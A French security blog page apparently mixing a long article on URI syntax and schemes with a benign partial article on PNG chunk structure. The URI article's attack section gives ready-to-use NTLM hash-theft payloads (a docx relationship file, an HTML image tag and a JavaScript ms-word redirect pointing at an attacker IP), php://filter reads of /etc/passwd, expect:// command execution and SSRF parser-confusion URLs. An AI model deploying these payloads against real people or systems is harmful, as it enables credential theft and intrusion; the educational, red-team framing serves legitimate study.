Explanations – Sicarius

12 mins
2 ans
1 695 mots
2
13

Taggedcarburateur, fonctionnement, fzs600

Méca: carbus et moto, comment ca marche pour nous faire avancer ?

Hello, Dans ce court article je vais détailler comment j’ai résolu un (plusieurs) soucis assez problématiques sur ma moto, un Fazer 600 de 1998 600cc 95cv (oui, c’est un peu une vieille mamie). Pour commencer, […]

Explanations

30 mins
3 ans
4 465 mots
43

Les URI, vous connaissez ?

Hello, Tout d’abord merci @TheLaluka pour la proposition de ce sujet fort intéressant. On va commencer par le commencement (\o/), qu’est ce qu’un “Uniform Ressource Identifier” (URI) ? Ce document se base sur les RFCs […]

>> Apprendre un truc <<

Hello,

Tout d’abord merci @TheLaluka pour la proposition de ce sujet fort intéressant.

On va commencer par le commencement (\o/), qu’est ce qu’un “Uniform Ressource Identifier” (URI) ?

Ce document se base sur les RFCs 3986 1808 1738 3966 et 2718 et j’en oublie sans doute. Il se base également sur cette liste officielle diffusée par l’IANA (qui régule les URI officiels depuis 2015) pour tous les protocoles (Historiques, provisoires et permanents).

Est-ce que j’ai tout lu ? absolument.

Dans cet article il va m’arriver d’employer des regex pour définir les caractères possibles. Exemple: “il se constitue des caractères a-zA-Z\d” signifie toutes les lettres de l’alphabet latin, minuscules, majuscules ainsi que les chiffres de 0 à 9.

Une/Un URI c’est un modèle/séquence de caractères qui permet d’identifier une ressource physique ou une ressource abstraite. Croyez moi, vous savez très bien ce que c’est, vous en utilisez tous les jours et plusieurs différents 🙂

/!\ Attention /!\

Ne pas confondre URI et URL ! l’URL (Uniform Ressource Locator) c’est une référence à une ressource WEB, l’URI définit une méthode d’accès à une ressource, permet l’exécution de code etc. l’URL est un URI spécifique !

Il ne faut pas confondre non plus avec les URNs (Uniform Ressource Name) qui ont été dépréciés (en même temps que URL d’ailleurs) dans la RFC 3986 au profit de l’appellation URI qui englobe les deux termes. Pour parler histoire rapidement, au départ dans les années ~90, on voulait identifier les ressources web avec un nom permanent (URN), qui aurait pu être résolu de la même manière qu’on résout un nom de domaine en IP aujourd’hui avec un DNS, l’URN aurait été traduite en un URC (Uniform Ressource Charateristic). D’ailleurs les URC étaient destinées à être compréhensibles par les humains et les machines, histoire de rendre la tâche facile, mais cette solution n’a jamais été adoptée. Je pense que ça devait être vachement lourd à mettre en place ? …

Bon revenons à nos moutons, on va diviser cette documentation en plusieurs points: L’URI et sa constitution normale, ensuite on verra les différents protocoles (ou schémas) les plus répandus, utiles et les plus cools. Enfin, on parlera des différents parsers de ces protocoles, leurs faiblesses et les vulnérabilités originales qu’on a pu avoir avec le temps.

Les URIs c’est quand même bien foutu

Le standard URI est -je trouve- vachement bien fait. Détaillons le:

Complet, une URI valide est de cette forme (en vert les parties optionnelles, en jaune les parties obligatoires et en orange les parties censées être obligatoires, mais qui peuvent être implicites et donc s’avérer optionnelles:

scheme:[//[user:password@]host[:port]]path[;param1=value1][?query[&key1=value1[;key2=value2]]][#fragment]

Avec tout ça, on a quand même la possibilité de donner les informations suivantes:

Le protocole
Un utilisateur et un mot de passe
Une machine cible via son IP ou son nom de domaine
Un port de connexion
Un chemin vers une application/fonctionnalité avec une possibilité de spécifier des paramètres
Une query constituée d’arguments “clé=valeur” séparés par un “&” ou un “;”
Un fragment délimité après un “#”, qui définit une seconde ressource à appeler

Voici un schéma qui résume assez bien le principe, chaque niveau comprenant les informations nécessaires pour que tout fonctionne:

Pour la suite du document, voici les couleurs principales à retenir:

scheme://user:password@host:port/path;param?query&key1=value1;key2=value2#fragment

Le protocole

Le protocole ne peut pas être vide. Il est constitué de caractères latin a-zA-Z, des chiffres et les symboles “+“, “.” et “–“. Les protocoles sont sensibles a la casse ! Usuellement, ils sont en minuscules.

Même si les protocoles “officiels” doivent être déclarés à l’IANA, rien ne vous empêche d’en créer un pour vos applications (a part la RFC… Vilain PHP !).

Si “//” est spécifié après le protocole

Si les deux slash sont spécifiés, le parser va s’attendre à recevoir au moins une information identifiant la localisation du serveur hébergeant la ressource.

Cela peut être:

Une IPv4 ou IPv6 sous la forme: foo://[127.0.0.1]/ -> ip littérale ou foo://127.0.0.1/ -> ipv4 décimale

Un nom d’hôte sous la forme: foo://elsicarius.fr ou foo://internaldomain/

Point intéressant: les parsers qui font la différence entre un nom de domaine ou une IP (l’IP ne devant pas être résolue) se basent sur le principe du “c’est le premier qui match qui gagne“

Il peut être ajouté à l’hôte un nom d’utilisateur et un mot de passe. Il est évident que c’est une (très) mauvaise pratique que de spécifier le mot de passe dans l’URI, car peu (pas) sécurisée. la forme d’une URI contenant un utilisateur/mot de passe est la suivante:

user@elsicarius.fr-> Utilisateur “user” spécifié pour se connecter à l’hôte “elsicarius.fr”, le mot de passe sera fourni d’une manière sécurisée

sicarius:Str0ngPa$$w0rde@elsicarius.fr-> Utilisateur “sicarius” et mot de passe “Str0ngPa$$w0rde” spécifiés pour se connecter à l’hôte “elsicarius.fr”

sicarius:@elsicarius.fr-> Utilisateur “user” spécifié pour se connecter à l’hôte “elsicarius.fr”, avec l’indication qu’il n’y a pas de mot de passe.

Enfin, le port peut être précisé après l’Host de la manière décrite plus haut.

A noter que certains protocoles n’autorisent pas les parties user:password et port !

Le chemin

Le chemin n’est rien d’autre qu’une séquence de fichiers/dossiers séparés par un slash “/”. Le chemin est toujours défini dans l’URI, mais il peut être vide !

Il peut y avoir des segments vides dans la séquence, cela sera symbolisé par “//”. Il est important de noter que le chemin qu’on peut voir dans une URI va généralement rejoindre le chemin réel du système de fichiers du serveur, mais pas toujours.

Si vous spécifiez un hôte après le protocole, vous devrez absolument démarquer la partie hôte et le chemin avec un “/”. Enfin, si vous ne spécifiez pas d’hôte, le chemin ne peut pas commencer par un segment vide “//” car sinon le reste pourrait être interprété comme un hôte (ça serait ambigu !)

Enfin, un chemin peut être absolu ou relatif, c’est à dire que le chemin

“sicarius/./el/sicarius” == “sicarius/el/sicarius”

“sicarius/../el/sicarius” == “sicarius/sicarius”

A noter que les chemins sont interprétés uniquement dans l’URI, et n’ont en théorie strictement rien à voir avec le potentiel chemin sur l’application cible, ou le système d’exploitation de la machine hôte.

Il y a des caractères réservés qui ne peuvent pas être utilisés comme élément du chemin:

/ ; = ?

Enfin, d’après la RFC 2396, chaque segment du chemin peut avoir des paramètres, qui seraient séparés par un “;” ou un “,” (même si cette dernière n’est en théorie pas autorisée par la RFC).

Il faut retenir que la syntaxe des paramètres va être différente selon les implémentations des protocoles des URIs.

Exemples:

L’URI mailto:sicarius@elsicarius.fr à un chemin = “sicarius@elsicarius.fr” car il n’y a pas de “//”

L’URI foo://elsicarius.fr?sicarius à un chemin vide !

L’URI foo://elsicarius.fr/ressource;v=1.1 correspond à une référence vers le paramètre “v”=”1.1” du segment “ressource”, la section “ressource” n’ayant pas de paramètres.

L’URI foo://elsicarius.fr/admin;JSESSIONID=abcdef1234566798abcfgytk correspond à une référence vers le segment (ressource) “admin”, avec un paramètre spécifique “JSESSIONID”.

Théoriquement:

L’URI foo://elsicarius.fr/admin=1/homepage;v=1.1?logg=true#flag correspond au segment admin avec pour paramètre “1”, la section homepage avec pour paramètre v=1.1, agrémenté de la query “logg=true” et du fragment “flag”

La query

La partie query d’un URI est aussi limitée avec des caractères réservés:

; / ? : @ & = + , $

Elle commence à la fin du chemin, avec la délimitation chemin?query

Elle se termine au caractère # ou à la fin de l’URI.

Même si elle n’est pas bien définie dans la RFC, elle est normalement constituée d’informations sous la forme “clé=valeur” séparés par des “&” ou des “;” ou plus rarement, des “,”.

La ressource secondaire (fragment)

La ressource secondaire permet l’identification indirecte d’un élément de la ressource principale. Le fragment va se situer entre le symbole “#” et la fin de l’URI, c’est le dernier composant.

Elle peut contenir tous types de caractères ambigus avec le reste de l’URI (“/”, “?” etc).

Il n’est pas rare que cette ressource secondaire soit utilisée pour effectuer des actions dans la ressource principale.

Cette ressource secondaire n’est pas traitée par le protocole spécifié par l’URI, mais par l’outil qui utilise cette URI ! Exemple: sur le protocole http(s?), la ressource secondaire # ne sera pas traitée par le serveur, mais par le navigateur.

Exemple:

Considérons l’URI suivante:

https://elsicarius.fr/sharing/is/caring/URI#balise2-fin-2-page

Elle désigne les éléments suivants:

Protocole utilisé: https
Serveur cible: elsicarius.fr
Chemin de la cible: “/sharing/is/caring”
Cible finale: “URI”
Fragment: balise2-fin-2-page

Elle sera interprétée par le navigateur, qui va résoudre et contacter le site “elsicarius.fr” en https (port par défaut 443), sur le chemin “/sharing/is/caring/URI“, et il va automatiquement chercher une balise HTML dans la page qui sera de la forme:

<balise id="balise2-fin-2-page"></balise>

Le comportement “d’aller chercher la balise correspondante” est spécifique aux navigateurs, qui s’en servent pour descendre sur la page web au bon endroit, mais il est aussi utilisé par d’autres protocoles, de manières différentes.

Spécificités

Il existe dans le vaste monde qu’est internet, des abréviations de ces URIs qui sont censées rendre le tout plus “user friendly”… D’après moi c’est tout le contraire.

Vous avez déjà du rencontrer, si vous avez déjà regardé le code source d’une page web, des URIs abrégées avec seulement les parties:

"//hôte/chemin..."

/chemin/absolu/vers/une/ressource/sur/le/meme/serveur -> ici, cela implique que le parser connaisse l’URI de base, où il appliquera le chemin !

#fragment_spécifique

www.site.com/chemin

Toutes ces spécificités sont référencées dans la RFC 3986 section 4 et 5.

Autre spécificité, la rétro compatibilité avec les “futurs” protocoles IP. Je m’explique:

Il est précisé dans la RFC 3986 que -si jamais- de nouveaux standards IP étaient créés (autre que IPv4 ou IPv6), il y aurait une méthode de les utiliser dans les URI, sans devoir repenser le système.

Imaginons l’IPv16, avec une IP (inventée) : zzzzzzzz:789999zzmopùddd:fdq:sica:rius et bien il faudrait créer une URI de la forme:

foo://[v16.zzzzzzzz:789999zzmopùddd:fdq:sica:rius]/sharing/is/caring

foo://v16.[zzzzzzzz:789999zzmopùddd:fdq:sica:rius]/sharing/is/caring

Cette implémentation permettrai d’esquiver les recherches heuristiques pour savoir directement de quel format d’adresses on parle.

Y’en a des vachement cool

Ici on va énumérer des URI spécifiques que j’ai trouvé sympas, je vous invite à aller voir la liste par vous même si l’un en particulier vous intéresse :).

Dans les exemples suivants, les couleurs représentent les éléments:

protocole://userinfo@host:port/path?query&key1=value1;key2=value2#fragment

Dons dans la très longue liste que l’IANA à mis à disposition, certains protocoles très intéressants sont remontés:

SHTTP

Oui oui, le SHTTP et non pas le HTTPS ! Définit en 1999 dans la RFC expérimentale 2660 (un an avant la RFC 2818 du HTTPS) !

Il se présente sous la forme d’une URI Standard:

shttp://elsicarius.fr:80/secret

Bon, c’est resté expérimental, et je pense que ça n’a jamais été implémenté nulle part.

Data

Définit par la RFC 2397

data:<mimetype>[;charset=<charset>][;base64][;param2=test],données

Exemple:

dans une balise html “embed”, on insère en src:

data:text/html,<h1>coucou<h1> -> Sera interprété en html par le navigateur et affichera “coucou“

base64(<h1>coucou</h1>) == “PGgxPmNvdWNvdTwvaDE+”

data:text/html;base64,PGgxPmNvdWNvdTwvaDE+ -> Sera aussi interprété en html par le navigateur et affichera “coucou“

Mais il est possible de créer des fichiers en mémoire avec l’URI data ! Cela permet de donner en argument un fichier complet ! Exemple:

data:application/msword;base64,0M8R4KGxGu... -> chargera en mémoire un fichier msword.

Les possibilités s’arrêtent au mime-type disponible ! autant dire que c’est presque infini.

à noter que les paramètres de l’URI data ne sont pas limités. l’URI suivante est totalement valide:

data:text/plain;charset=UTF-8;page=21,the%20data:1234,5678

A noter qu’il y a des doutes émis dans la RFC sur l’implémentation de l’URI “data”. En effet, c’est à l’implémentation de déterminer la longueur maximale des données contenues dans l’URI, et de mauvaises implémentations peuvent être une catastrophe.

File

Définit dans la RFC 8089

`file:/chemin/vers/fichier`

Exemples

file:///chemin/fichier ->chemin en local (implicite)

file:/chemin/fichier -> chemin en local (implicite)

file://elsicarius.fr/chemin/fichier -> chemin distant sur le serveur “elsicarius.fr“

file:c:/chemin/vers/fichier == file:///c:/chemin/vers/fichier -> Windows oblige, il fallait avoir le moyen de spécifier la lettre de lecteur pour le chemin, ça deviens ambigu pour le coup….

file:///c|/chemin/vers/fichier == file:/c|/chemin/vers/fichier == file:c|/chemin/vers/fichier -> le c| sera remplacé par c: après traitement par le parser, il s’agit là d’une fonction assurant la compatibilité avec l’ancien système de fichier DOS.

PHP

L’URI php n’est pas définie comme connue de l’IANA. Pour cause, elle est pas nommée “URI” mais “Wrapper“, même si son fonctionnement est le même.

Pour avoir des documentations dessus, et sur tous les autres wrappers il faut se fier à la documentation disponible sur php.net: https://www.php.net/manual/en/wrappers.php

A noter que les commandes suivantes peuvent être exécutées un peu partout dans du PHP (includes, phpcurl etc.)

Nous avons donc dans la liste :

L’archive PHP

Une archive phar contient des fichiers contenant du code PHP, des ressources etc. et qui peut être exécutée via php archive.phar

Elle permet aussi d’aller chercher des fichiers directement dans des .zip dans le système de fichiers local

phar:///chemin/local/vers/fichier.zip/fichier_dans_le_zip.txt

ou encore:

include 'phar:///path/to/myphar.phar/file.php';

Les flux compressés Zlib, Zip, bzip2

Ces URI permettent toutes d’ouvrir des archives en PHP (similaires à gzopen(), bzopen()…)

zlib://fichier.gz -> déprécié

compress.zlib://fichier.gz

bzip2://fichier.bz2 -> déprécié

compress.bzip2://fichier.bz2

zip://archive.zip#chemin/vers/file.txt

Des I/O PHP

php://stdin -> accès au STDIN du processus PHP correspondant

php://stdout et php://stderr -> STDOUT et STDERR du processus PHP

php://input -> permet de récupérer les informations contenues dans le body d’une requête HTTP

php://output -> similaire à un echo ou print en PHP

php://fd/3 -> Accès au file descriptor “3” (correspondant à un fopen)

php://memory -> créée un fichier en mémoire et y stocke le contenu, php://temp/maxmemory:2048 crée un fichier temporaire sur la machine si la taille est > 2MB (par défaut)

Un gros morceau:

php://filter/ressource=<URI de la ressource> -> minimum requis pour faire fonctionner le wrapper

On peut lire une ressource et faire un traitement préalable avec des filtres:

php://filter/read=filtre1|filtre2|.../ressource=<URI de la ressource>

On peut écrire une ressource et faire un traitement préalable avec des filtres:

php://filter/write=filtre1|filtre2|.../ressource=<URI de la ressource>

On peut faire les deux, avec des filtres:

php://filter/filtre1/filtre2.../ressource=<URI de la ressource>/

Et des filtres, y’en a un paquet:

Exemples:

php://filter/read=convert.base64/ressource=file:///etc/passwd/ == php://filter/read=convert.base64/ressource=/etc/passwd/

php://filter/read=convert.base64/ressource=https://elsicarius.fr/private/0days.csv?access_token%3ddeadbeef

php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

…

De quoi trouver des chemins avec des patterns de reconnaissance

Le wrapper glob va nous permettre de récupérer le nom de plusieurs fichier grâce à des wildcards (“*”) !

glob://chemin/pattern_avec_*

Exemple:

glob://sica/rius/php_files/*.php

Des flux d’interaction avec le serveur

Le wrapper expect va nous permettre d’exécuter des commandes sous le système d’exploitation hôte !

expect://<commande>

Exemple:

expect://whoami

…..

(les autres ne vont pas nous intéresser ici)

Gopher

Lorsqu’un site présente une vulnérabilité SSRF, il peut s’avérer utile de vérifier la présence de gopher. Gopher est un protocole censé rivaliser avec HTTP. Seulement, sa complexité d’utilisation l’ont fait peu à peu disparaître, mais il est toujours disponible dans curl !

Voici la syntaxe d’une URI Gopher:

gopher://elsicarius.fr:port/<gophertype><selector>%09<search>%09<gopher+_string>

A savoir que pour exploiter une SSRF avec gopher, je vous conseille des tools qui génèrent des payloads comme: https://github.com/tarunkant/Gopherus

Généralement, on combine Redis et Gopher pour exploiter une cible vulnérable, redis ayant son propre modèle d’URI !

Microsoft

Les applications Word on aussi des URI spécifiques permettant tout un tas d’actions, comme la création de documents à partir de templates etc. C’est d’ailleurs définit ici: https://docs.microsoft.com/en-us/office/client-developer/office-uri-schemes?redirectedfrom=MSDN

De base, certaines URI bien placées sous Windows peuvent vous aider à récupérer les hash NTLM ! Exemple:

Vous avez une machine avec Responder prêt, en mode écoute.

Créez un docx, ouvrez le avec un gestionnaire d’archives, et dans le fichier word/_rels/settings.xml.rels renseignez le contenu:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://<IP de l'attaquant>/leak/Template.dotx" TargetMode="External"/>
</Relationships>

Puis envoyez ce document à une cible, dès qu’elle l’ouvrira, vous aurez son hash NTLM 🙂

La même chose peut être reproduite avec un document html:

<!DOCTYPE html>
<html>
<img src="file://<IP de l'attaquant>/leak/leak.png"/>
</html>

Les arguments sont séparés par des “|” cette fois:

ms-powerpoint:ofe|u|https://elsicarius.fr/How_To_Buy_Odayx.ppt -> ofe pour “edit document”, u pour “url” et ensuite le lien.

ms-excel:ofv|u|https://elsicarius.fr/Q4/Donations_to_my_website.xls -> ofv pour “view document”, ensuite l’url.

ms-word:nft|u|https://sicarius.fr/templates/comment_télécharger_de_la_ram.pot|s|https://elsicarius.fr/presentations_NDH -> nft pour “New document Ftom Template”, u la source du template, s le chemin de destination du nouveau document

ms-visio:…

ms-access:…

ms-project:…

ms-publisher:…

ms-spd:…

ms-infopath:…

Et il y en a encore beaucoup, beaucoup….

Avec tout ces nouveaux protocoles, on va reproduire l’attaque pour chopper le Hash NTLM. Gardez votre Responder actif, et créez une page HTML:

<!DOCTYPE html>
<html>
   <script>
      location.href = 'ms-word:ofe|u|\\<ip de l'attaquant>\leak\leak.docx';
   </script>
</html>

Dès que la victime va ouvrir la page, vous aurez une requête interceptée sur Responder ! Magic

Misc

Il faut savoir que tout le monde peu créer son propre modèle d’URI.

C’est d’ailleurs ce qu’ont fait Steam pour lancer leur jeux, ou VisualStudio code pour leurs extensions, Spotify, Teamspeak etc, etc… Même SecondLife avait son modèle d’URI ! pour se déplacer sur les îles (les plus vieux d’entre nous connaissent).

Donc tous les répertorier ne serait pas envisageable (j’ai la flemme quand même un peu).

Cette partie sera donc mise a jour au fur et a mesure, le temps que je lise un peu les docs…

tel:+358-55-1234567 -> rfc 2806

tel:+1234567890;phone-context=+1234;vnd.company.option=foo

fax:+358.555.1234567 -> rfc 2806

about:blank -> page vierge

view-source:<url> -> montre le code source HTML de la page située à <url>

coap://example.net/.well-known/core -> similaire à HTTP, c’est un protocole proposé par la RFC 7252 qui serait plus “léger”
Il existe de manière similaire:
coaps -> RFC 7252
coaps+ws -> RFC 8323
coaps+tcp -> RFC 8323
coap+ws -> RFC 8323
coap+tcp -> RFC 8323

ws://elsicarius.fr/chemin?query ->WebSockets : RFC 6455

wss: -> RFC 6455

udp://elsicarius.fr:1234 -> création d’une connexion UDP vers l’hôte distant. : https://metacpan.org/pod/URI::udp

modem:+3585551234567;type=v32b?7e1;type=v110 -> rfc 2806

ssh://sicarius;fingerprint=<host-key fingerprint>@elsicarius.fr:22

sftp://sicarius;fingerprint=<host-key fingerprint>@<host>:<port>/<path>/<file> 

Ceux là sont possiblement combinés avec Gopher:// pour plus de pwn :)

dict://<user>;<auth>@elsicarius.fr:<port>/m:<word>:<database>:<strat>:<n>

redis://sicarius:secret@elsicarius.fr:6379/0?foo=bar&qux=baz

ou sa version via TLS:

rediss://sicarius:secret@elsicarius.fr:6379/0?foo=bar&qux=baz

smb://<user>@<domaine>:<port>/<chemin>?<param1>=<valeur1>;<param2>=<valeur2> ou smb://<user>@<workgroup>:<port>/ 
ou encore
smb://<domain>;<username>:<password>@<serveur>:<port>/<partage>/<chemin>?<param>=<valeur><param2>=<valeur2>  
Exemple: smb://workgroup;Sicarius:Best_Password_Eu1west@elsicarius.fr:1337/partage_2_fichiers_prive/dossier_confidentiel/0days.txt

thismessage:/Fichier.pdf -> Destiné a résoudre les chemins absolus dans un message SOAP si les méthodes précédentes ont échoué : RFC 2557

...

Et ça a créé des vecteurs d’attaques (tout plein de vecteurs, et c’est ça qu’on aime!)

#redteaming oblige, il faut qu’on parle des vecteurs d’attaques. On en veut plein ! et y’en a eu (et y’en aura encore) plein. Et parce que tout le monde à décidé d’implémenter des parsers dans leur langage favori, créant plein de libs ultra cool qui comprennent différemment des jeux de caractères, il y a aussi plein de méthodes pour tromper ces parsers avec des URI mal formées !

Les URI vont nous permettre (en partie) d’exploiter:

Des Local File Inclusion (LFI)
Des Remote File Inclusion (RFI)
Des Remote Code Execution (RCE (!!!!!))
Des Server-side Request Forgery (SSRF)
Des XXE…

Les parsers pétés

Commençons par nous référer à la RFC3986 paragraphe 5.4.2.

Elle décrit bien que certaines applications ont du mal à distinguer certains chemins, si des éléments spéciaux sont “mal” positionnés, les exemples suivants peuvent porter à confusion:

https://elsicarius.fr/a/b/c#d/e/f

https://elsicarius.fr/a/b/c?d/../f

https://elsicarius.fr/a/b/c;d=e/./g

Mais avec les travaux d’Orange Tsai et sa présentation à la BlackHat sur les SSRF on a appris de nouveaux vecteurs d’attaque, utilisant ces “éléments spéciaux mal positionnés”, comme celui-là:

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

La structure ici est très spécifique, mais avec tout ce dont nous avons parlé avant, elle peut se comprendre.

Le protocole ne change pas: cela reste https.
On peut distinguer 3 parties séparées par un ” “, qui est un caractère autorisé pour les URI
Le premier élément de confusion est le “/” situé à la fin, ce “/” signifie que tout ce qui se trouve entre “//” et lui même est le nom d’hôte
Si on parcours ce qui est censé être interprété comme l’hôte, on s’aperçois qu’il est constitué de 3 IP normalement constituées
Chacune des IP est précédée d’un “@” qui signifie que ce qu’il se passe avant, c’est un nom d’utilisateur
Enfin, on trouve le caractère “&” délimitant plusieurs arguments d’une query ?
Ainsi que le caractère “#” délimitant un fragment.

Avec tout ceci, il est facile de comprendre que chaque parser à sa propre implémentation et que, par conséquent il comprendra pas forcément cet “hôte” mal formé de la même manière que les autres.

Ainsi, voici une représentation des différents parsers comprenant tous quelque chose de différent (cet exemple est mon préféré):

On peut par exemple imaginer :

Le parser urllib2 va prendre l’URI, se référer aux “//” et prendre la première IP valide qu’il trouve, soit 1.1.1.1, puis il y a un ” ” donc il ne prend pas en compte le reste.

Requests quand à lui va couper l’URL à tous les @ produisant le tableau suivant: [“1.1.1.1 &”, “2.2.2.2# “,”3.3.3.3”]. Il va ensuite prendre la première partie de son tableau : “1.1.1.1 &” (ou table[0] en python) et considérer cette partie comme un utilisateur, puis va considérer 2.2.2.2 comme l’hôte, pour enfin considérer tout ce qu’il y a après # comme un fragment !

Enfin urllib va quand à lui inverser le processus de requests, et se fier à la dernière partie du tableau (l’élément “3.3.3.3”) (ou table[-1] en python) pour être le nom d’hôte, et va prendre le premier élément de son tableau pour nom d’utilisateur.

Note: Ces explication sont une parmi tant d’autres, j’ai simplement interprété. Si vous êtes curieux vous pouvez aller voir le code des librairies urllib2, urllib et request par vous même 🙂

Quelques sources et payloads sympas pour finir 🙂

Dans cette partie on va parler sources de payloads !

Votre meilleur atout: Google ! Lisez mon article google-vous-connaissez si vous voulez en savoir plus sur “comment utiliser google” (*instant self promotion*)

SSRF

Pour vous renseigner sur les SSRF, je vous conseille:

L’excellente présentation d’Orange Tsai sur le sujet: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
Le cours web de portswigger (burp): https://portswigger.net/web-security/ssrf

LFI, RFI …

Des articles comme : local-file-inclusion-lfi-web-application-penetration-testing sont très bien détaillés, trouvez ceux qui vous conviendront le plus !

Des payloads à gogo

Si vous êtes à la recherche de payloads à injecter tel-quel dans vos pentest je vous conseille le Github de @pentest_swissky qui est un incontournable:

Tool SSRFmap: https://github.com/swisskyrepo/SSRFmap

SSRF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

LFI, RFI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

…..

Bon, je pense qu’on a fait le tour du sujet !

J’ai beaucoup appris pendant que je faisais cet article, qui m’a pris 2 jours de recherches et d’écriture en simultané !

J’espère que vous aussi vous avez appris un truc !

à bientôt ici ou sur mon tweeter 🙂

La bize !

Sicarius

Explanations

11 mins
3 ans
1 644 mots
14

Taggeddorks, dorksing, GET google, Google Dorks, google search GET

Google, vous connaissez ?

Hello, Cet article est le fruit de mes recherches pour la création d’un outil d’OSINT (Open Source Intelligence) dans le cadre d’un projet de 2ème année d’ingénieur @ENSIBS. Pour créer mon outil, j’ai du m’intéresser […]

Explanations

9 mins
3 ans
1 230 mots
6

Taggedbugbounty, CTF, email, syntaxe

Les adresses email, vous connaissez ?

Hello, Si tu t’es aventuré ici, c’est que tu penses tout savoir des adresses email. Mais en es-tu sûr ? Dans cet article, on va parler de la syntaxe des adresses emails, et on va […]

Explanations

20 mins
4 ans
2 891 mots
23

TaggedChecksum fix, Headers, PNG, png fix

Les images PNG, comment ça marche ? Comment corriger manuellement les erreurs ?

Hello, Dans cet article je vais vous parler de mon format préféré: les PNG (Portable Networks Graphics). L’extension PNG est un format d’images très commun au même titre que les JPEG, Tiff et autres joyeusetés. […]

>> Apprendre un truc <<

Hello,

Dans cet article je vais vous parler de mon format préféré: les PNG (Portable Networks Graphics). L’extension PNG est un format d’images très commun au même titre que les JPEG, Tiff et autres joyeusetés. J’ai écris cet article avec l’aide de la RFC 2083 qui définit le standard PNG, avec Wikipédia et avec ce que j’ai appris au fil du temps et des challenges que j’ai réussi (ou pas d’ailleurs). Vu que j’y met mon expérience personnelle, c’est sans prétentions hein ! Je vais essayer de vous guider étapes par étapes dans la compréhension du format et la correction des problèmes.

1. Le format du fichier

Commençons par le commencement (\0/), le magic number. Chaque fichier normalement constitué dispose de ce que l’on appelle un “magic number”. Idéalement, ce magic number est constitué d’une série hexadécimale permettant d’identifier à coup sûr le type du fichier, car non, l’extension d’un fichier ne sert absolument pas a déterminer quel type de fichier c’est 🙂

Pour le cas d’un PNG, le magic number est le suivant: 89 50 4E 47 0D 0A 1A 0A, ou pour les intimes:

La suite du fichier est constituée de Chunks.

2. Les chunks, késako ?

Une image PNG, c’est très structuré, faut pas croire ! Ce que l’on appelle un “chunk”, c’est tout simplement une “section” voire une “catégorie” définissant une certaine partie du fichier PNG. Par exemple, le chunk IEND définit la fin du fichier PNG et se présente sous sa forme hexadécimale complète: 00 00 00 49 45 4E 44 AE 42 60 82.

Les différents types de chunks

Il existe pléthore de chunks, allant du plus important pour le bon fonctionnement du shmilblik, au plus inutile comme iTXt qui sert à rajouter des commentaires en texte international directement dans le fichier:

acTL pour APNG animation control qui est utile dans les fichiers APNG (Animated Portable Network Graphics) qui est l’équivalent GIF mais avec le format PNG et des images de bien plus haute qualité.
bKGD Pour background color, ce chunk permet de définir une couleur d’arrière plan au cas où des parties soient transparentes
cHRM définit les chromaticités primaires de l’image (cf 4.2.2 de la RFC)
fcTL Sert dans le format APNG pour contrôler les frames (1 frame = 1 image).
gAMA définit le gamma de l’image
IEND Définit la fin du fichier PNG
IHDR C’est le chunk principal de l’image. Il permet de définir plein d’aspects de l’image, comme le hauteur, la largeur, la profondeur des couleurs, la méthode de compression de l’image, la méthode de filtre ou encore si il y a de l’entrelacement.
IDAT Ce chunk contient les données compressées relatives au contenu de l’image. Il se présente sous la forme de données compressées avec ZLIB (c’est d’ailleurs pourquoi vous avez des archives zlib dans le résultat d’un binwalk sur un PNG. N’essayez pas de les décompresser, ça ne vous servira a rien 🙂 )
oFFs Définit l’offset de l’image (peu utilisé)
pHYs Pour physical Pixel dimensions
PLTE Définit la palette de couleurs RBG utilisée, 255 valeurs par couleurs.
sBIT Sert à stocker le nombre de bits utilisé dans l’image d’origine pour chaque couleurs. Certains décodeurs PNG n’utilisent qu’une certaine partie de la valeur des couleurs si elle est trop complexe (i.e codée sur trop de bits)
sCAL Similaire au pHYs, mais est utilisé dans différentes conditions pour des images plus complexes
sRGB Est un indicateur de la profondeur des couleurs
sTER Stereo image indicator (?)
tEXt/zTXt/iTXt Sont des chunks de texte. Ils agissent tous de la même méthode sur le fichier mais ont des utilisations différentes. Retenez que c’est pour stocker, et qu’on peut décider de compresser le texte avec ZLIB, comme pour le chunk IDAT.
tIME Sert à définit la date de dernière midification
tRNS Définit le taux de transparence de l’image
vpAg Virtual Page (?)

Bon comme vous vous en doutez, il y en a encore plus, mais je peux pas m’amuser à tous les citer, ça prendrait trop de temps et ce n’est pas le but ici.

Komment sé fé un chunque ?

Attardons nous rapidement sur le nom de ces chunks, car le fait qu’il y ait des majuscules n’est pas anodin ! Le nom du chunk désigne sa fonction, et le fait que les lettres soient en majuscule/minuscule désigne une fonction et un attribut bien particulier (majuscule = 0 et minuscule = 1 pour que vous compreniez la suite).

Analysons le cas théorique d’un chunk nommé “bLOb” (qui n’existe pas, c’est pour l’exemple):

bLOb the magnificient

Donc, le chunk commence par “b”, qui est une lettre minuscule, signifie que le chunk est “auxiliaire”, donc par conséquent il n’est pas de nécessité critique pour l’image.

Ensuite, on trouve la lettre “L” en majuscule, ce qui signifie que le chunk est public, donc reconnu (normalement) par tous les décodeurs PNG. Vous pouvez très bien créer votre propre chunk PNG ! mais cette lettre devra être en minuscule. il sera dit “privé”.

On passe à la lettre “O” en majuscules. Pour le moment elle désigne une feature non implémentée dans PNG, et cette lettre doit TOUJOURS être en majuscules.

Enfin, la lettre “b” en minuscule signifie que le chunk est “safe to copy”, ce qui équivaut à une autorisation. Cet attribut sert aux logiciels éditeurs de PNG pour leur signifier si un chunk non connu peut être copié sans soucis. Normalement, si un éditeur de PNG ne connait pas un chunk “critique” (première lettre en majuscule) et n’a pas le droit de le copier, alors il doit refuser le traitement de l’image et faire un rapport de bug.

Voilà pour l’explication des noms farfelus des chunks. Passons maintenant à la constitution d’un chunk ! (Hexadecimal intensifies boi)

Y’a de l’hexa dans l’air

